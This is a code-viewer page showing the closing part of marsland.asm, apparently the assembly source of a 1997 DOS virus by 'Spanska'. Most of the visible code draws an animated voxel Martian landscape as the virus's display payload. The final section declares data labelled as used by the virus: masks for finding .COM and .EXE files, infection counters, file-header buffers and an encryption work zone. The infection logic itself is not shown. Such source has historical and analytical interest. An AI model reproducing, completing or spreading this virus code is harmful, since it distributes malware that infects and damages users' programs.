📄 marsland.asm
字号:
mov ax, 13h
int 10h
;----------------------black palette--------------------------------
; because mountains are calculated directly on screen)
mov dx, 3c8h ;dx = palette port
xor al, al ;start with color 0
out dx, al ;write first color in the port
inc dx ;define all others colors
mov cx, 768 ;256 colors x 3 composantes, all at zero
tout_noir:
out dx, al ;write black on port
loop tout_noir
;---------draw to an area of the screen some big blocks----------
; area used: 50 lines x 128 columns on the left top
mov ax, 0A000h ;video memory
mov es, ax ;in es
mov cx, 150 ;number of blocks
boucle:
mov ax, [bp+offset aleat]
mov dx, 8405h ;semi-random routine stolen
mul dx ;in a fire demo
inc ax ;give a random dx
mov [bp+offset aleat], ax
push dx ;dl = random byte for the line
shr dl, 1 ;now 0<dl<128
shr dl, 1 ;now 0<dl<64
cmp dl, 41 ;if dl>41
ja pas_pixel ;we don't draw it
cmp dl, 5 ;if dl<5
jb pas_pixel ;we don't draw it
mov ax, 320 ;calculation of video offset
xor dh, dh ;we have to multiply just dl
mul dx ;by 320
pop dx ;dh = random byte for the column
cmp dh, 112 ;if dh>112
ja pas_pixel ;we don't draw it
cmp dh, 8 ;if dh<8
jb pas_pixel ;we don't draw it
xor dl, dl ;we have to multiply just dh
xchg dl, dh ;we put it in dl
add ax, dx ;let's add line*320 and column => random place
xchg di, ax ;this random offset in di
mov al, 255 ;big blocks are in color 255
push cx ;save loop counter
mov bl, 4 ;blocks are 4 pixels tall
gros_pixel:
mov cx, 10 ;blocks are 10 pixels wide
rep stosb ;write them on screen...
add di, 310
dec bl
jne gros_pixel
pop cx
pas_pixel:
loop boucle
;-----soften blocks to get mountains, by a immobile fire effect----------
;here es=video
mov ax, cs ;get cs
add ah, 16 ;add to it 256*16 bytes to get ds
mov ds, ax ;ds now points on a free segment (i hope so :)
push ds ;on the stack (cf [@@] later)
mov bl, 25 ;bl = number of degradation cycles
cycle:
xor si, si ;ds:si=free segment
xor di, di ;es:di=video
xor ax, ax
mov cx, 50*320 ;we degrade on 50 first lines of the screen
degrade:
mov al, es:[di-1]
add al, es:[di+1]
adc ah,0
add al, es:[di+320] ;sum all pixels colors around offset di
adc ah,0
add al, es:[di-320]
adc ah,0
shr ax, 1
shr ax, 1 ;divide this color by 4, so it's the average
je pas_dec ;if color=0, color stays to 0
dec al ;on other case, we decrement color
pas_dec:
mov byte ptr ds:[si], al ;new color value in free segment
inc si
inc di
loop degrade ;loop for all the 50x128 area
xor si, si ;one degradation cycle finished:
xor di, di ;we copy all the area
mov cx, (50*320)/2 ;from the free segment
rep movsw ;to video memory
dec bl ;one cycle more
jne cycle ;25 cycles? No => again
;we now have on the screen (but we can't see it
;because all is black) soft spots, this is the
;landscape in 2D
;--------------creation of the 3D table (x,y,z)------------------------
; from the 2D landscape on screen; this table is
; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment
;here es=video ds=free segment
push es ;we want ds=video et es=free segment
push ds
pop es
pop ds
mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security)
xor si, si ;start of video memory
xor di, di ;start of free segment
mov dl, 128 ;we need a line counter
table:
mov ah, dl ;the X (left/right): between 0 and 128
shl ah, 1 ;now between 0 and 256
mov al, 128
sub al, ah ;now between -128 and +128
stosb ;put it on free segment
movsb ;the Y (top/bottom) is directly the pixel color
dec dl ;see if we are at the end of the line
jne pas_fin_de_ligne ;if dl<>0 we are not
mov dl, 128 ;if dl=0 the line counter is re-put to 128
add si, 320-largeur ;and the video offset go to next line
pas_fin_de_ligne:
mov ax, cx ;the Z (near/far): between 0 and 50*128
shl ax, 1 ;now between 0 and 50*256
xor al, al ;we just need ah (between 0 and 50)
xchg ah, al ;put it on al
shl al, 1 ;now between 0 and 100
shl al, 1 ;now between 0 and 200
add ax, 0080h ;now between 128 and 328 (nearest Z will be 128)
stosw ;put it on free segment
loop table ;calculate all table
;------------------delete the 2D landscape------------------------
;here ds=video es=free segment
push ds
pop es
xor di, di ;from the beginning of screen
mov cx, (320*50)/2 ;delete all the 50 lines
xor ax, ax ;with words=0, faster than bytes
rep stosw ;delete all
;---------put text cursor at good coordinates on screen-----------------
mov dx, 030Ah ;dh, dl = line/column coordinates
xor bh, bh ;on page 0
mov ah,02h ;int BIOS 02h=put cursor
int 10h
;--------------write the 2 text messages-------------------------
;ici ds=es=video
push cs
pop ds
lea si, [bp+offset message] ;si points on message
mov cx, 21 ;message length
affiche_message:
lodsb ;get letter
mov bl, 125 ;color=red
mov ah, 0Eh ;int BIOS OEh=write one letter
int 10h
loop affiche_message
add dx, 507 ;adjust coordinates for second message
mov ah, 02h ;int BIOS 02h=put cursor
int 10h
lea si, [bp+offset messag2] ;si points on message
mov cx, 32 ;message length
affiche_messag2:
lodsb ;get letter
mov bl, 50 ;color=yellow
mov ah, 0Eh ;int BIOS OEh=write one letter
int 10h
loop affiche_messag2
;------------------adjust martian palette----------------------------
mov dx, 3c8h ;dx = palette port
xor al, al ;start with color 0
out dx, al ;write first color in port
inc dx ;define all other colors
xor cx, cx ;starts with black
rouges:
mov al, cl
out dx, al ;loop to define all 63 first colors
xor ax, ax ;with a growing red
out dx, al
out dx, al
inc cl
cmp cl, 63
jne rouges
xor cx, cx
jaunes:
mov al, 63
out dx, al
mov al, cl ;loop to define 63 next colors
out dx, al ;with a growing green
xor al, al
out dx, al
inc cx
cmp cx, 63
jne jaunes
;-------------------animation of the landscape------------------------
;here ds=cs, es=video
pop ds ;ds points to free segment [@@] see above
anime: ;get here when one screen is totally drawn
mov cx, largeur*50 ;we will draw 50x128 voxels
xor si, si ;ds:si=where 3D coordinates are (free seg)
xor di, di ;es:di=video
dessine: ;get here when one voxel is drawn
lodsb ;put X in al
xchg dl, al ;transfer it in dl
lodsb ;put Y in al
xchg bl, al ;transfer it in bl
mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh
lodsw ;put Z in ax
mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory
cmp ax, 0080h ;is the voxel at the nearest limit?
ja ca_sort_pas ;no => it can advance more
add ax, 200 ;yes => return at the farest limit
ca_sort_pas:
dec ax ;it advances: the Z decrements
mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate
;------calculate xx and yy (2D screen) from x, y and z (3D space)------
; by a perspective effect
; (remember: X is in dl, Y in bl, Z in its memory location)
push cx ;we will need cx here, so save it on stack
xchg ah, dl ;X coordinate from dl to ah
cmp ah, 128 ;X positive?
jb suite5 ;yes => no problem
neg ah ;no => let's "positive" it
mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative
suite5: ;NB: calculations are in "fixed point" mode
xor al, al ;X is in ah: same "order" than Z (word)
xor dx, dx ;dx will not fuck up the division
div word ptr cs:[bp+offset z] ;X/Z
push ax ;result is the 2D coordinate (XX), push it
mov al, bl ;Y coordinate from bl to al
mov cl, 4 ;divise Y/16 to have a mountain height
shr al, cl ;between 0 and 16
mov ah, 80 ;beware: mountains are "top on bottom"
sub ah, al ;level 0 = altitude 80, so soustraction
;('cause in VGA 0,0 = top left)
xor al, al ;"fixed point" mode: Y is now in ah
xor dx, dx ;dx will not fuck up the division
div word ptr cs:[bp+offset z] ;Y/Z
xchg cx, ax ;the result is the 2D coordinate (YY)
;---------------calculate video offset of the voxel-------------------
; (remember: XX is on stack and YY is in CX)
pop dx ;get XX
cmp cx, 142 ;do not write voxel if too at bottom
ja pas_plot
cmp dx, 155 ;do not write voxel if too on the side
ja pas_plot
push dx ;put again XX on stack
mov ax, 320 ;we gonna calculate voxel video offset
mul cx ;multiply YY by 320
pop dx ;get XX
cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives?
jne pos
sub ax, dx ;yes => offset is ax - XX
mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now
jmp suite4
pos:
add ax, dx ;no => offset is ax + XX
suite4:
add ax, (320*60)+160 ;to put the animation at screen bottom
;--------calculate voxel color (with 2 shadow effects)------------------
;first shadow effect, depends on curvature of mountain sides
mov di, ax ;ax is video offset of the voxel
xchg ax, bx ;remember: bx contains Y et NEXT_Y
sub al, ah ;shadow will depend on NEXT_Y - Y; can
add al, 100 ;be >0 (one side of the mountain)
;or <0 (other side), so add an
;average value
;if voxel is too far, put it black
mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128<Z<328)
cmp bx, 285 ;is voxel very far?
jb pas_eteindre ;no => OK, write it
xor al, al ;yes => write a black voxel instead
pas_eteindre:
;second shadow effect: the farest, the darkest
shr bx, 1 ;now 64<bx<164
shr bx, 1 ;now 32<bx<82
sub ax, bx ;sub the color with the distance
;--------calculate voxel size (the nearest, the biggest)----------------
mov bx, 328 ;maximum Z
sub bx, cs:[bp+offset z] ;now bx=0 (far) or bx=200 (near)
mov cl, 6 ;divide by 64
shr bx, cl ;now 0<bx<3
inc bx ;now 1<bx<4
inc bx ;now 2<bx<5 (number of pixels wide)
mov dx, 2 ;voxel will be always 2 lines height.
dessine_voxel:
mov cx, bx ;number of pixels wide in cx
rep stosb ;write them on screen
mov cx, 320 ;we have to draw second line
sub cx, bx ;adjust with voxel wide
add di, cx ;go to offset of next line
dec dx ;first line finihed
jne dessine_voxel ;draw second line
pas_plot: ;we get here in case of too extreme coordinates
pop cx ;don't forget the counter
dec cx ;one voxel more is drawn
je suite9 ;if all voxels are drawn, start another screen
jmp dessine ;go calculate next voxel
suite9:
jmp anime ;go calculate next screen
;---------------memory zones used by the graphic effect------------------
message db "Mars Land, by Spanska" ;message 1
messag2 db "(coding a virus can be creative)" ;message 2
aleat dw 0FAh ;random seed
z dw 3 ;temporarly used for Z
signe db ? ;to remember the sign of X
;
;--------------------memory zones used by the virus----------------------
;
dir_masque db "*.*",0 ;to find subdirectories
file_com db "*.C*",0 ;to find .com files
file_exe db "*.E*",0 ;to find .exe files
dot db "..",0 ;to climb on superior directory
fin_cryptage: ;end of crypted zone
;
;-------------all the following is not written on disk------------------
; (temporarly memory zone used by the virus)
;
phase db 0 ;subdirectory counter
compteur_com db 0 ;.com infection counter
compteur_exe db 0 ;.exe infection counter
handle db 0,0 ;handle of current file
dta db 48 dup (0AAh) ;temporary DTA
repert db 64 dup (0FFh) ;starting directory
exehead db 1Ch dup(0aah) ;1Ch first bytes of files (com or exe)
zone_de_travail: ;zone used to crypt the virus
code ends
end hote
;------------------------(c) Spanska 1997------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -